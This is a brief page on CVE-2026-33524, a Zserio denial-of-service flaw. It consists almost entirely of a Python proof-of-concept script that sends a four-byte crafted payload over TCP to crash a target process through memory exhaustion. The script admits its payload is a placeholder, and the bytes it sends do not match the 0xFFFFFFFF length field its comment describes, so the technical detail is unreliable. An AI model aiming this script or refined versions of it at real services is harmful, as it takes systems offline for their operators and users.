CVE-2026-33524 Zserio拒绝服务漏洞

import socket # PoC for CVE-2026-33524 # This script sends a crafted payload to trigger OOM in vulnerable Zserio instances. # Note: The actual bytes depend on the specific Zserio schema being targeted. # This is a generic representation of the "4-5 bytes" payload mentioned. TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 # Placeholder for the malicious bytes. # In a real scenario, these bytes would align with a schema field that triggers the allocation bug. # Example: A length field set to 0xFFFFFFFF interpreted as a signed -1 or huge unsigned int. crafted_payload = b"\x00\x00\x00\xFF" def exploit(): try: print(f"[*] Sending payload to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) s.sendall(crafted_payload) print("[+] Payload sent. Check if the target process crashed due to OOM.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()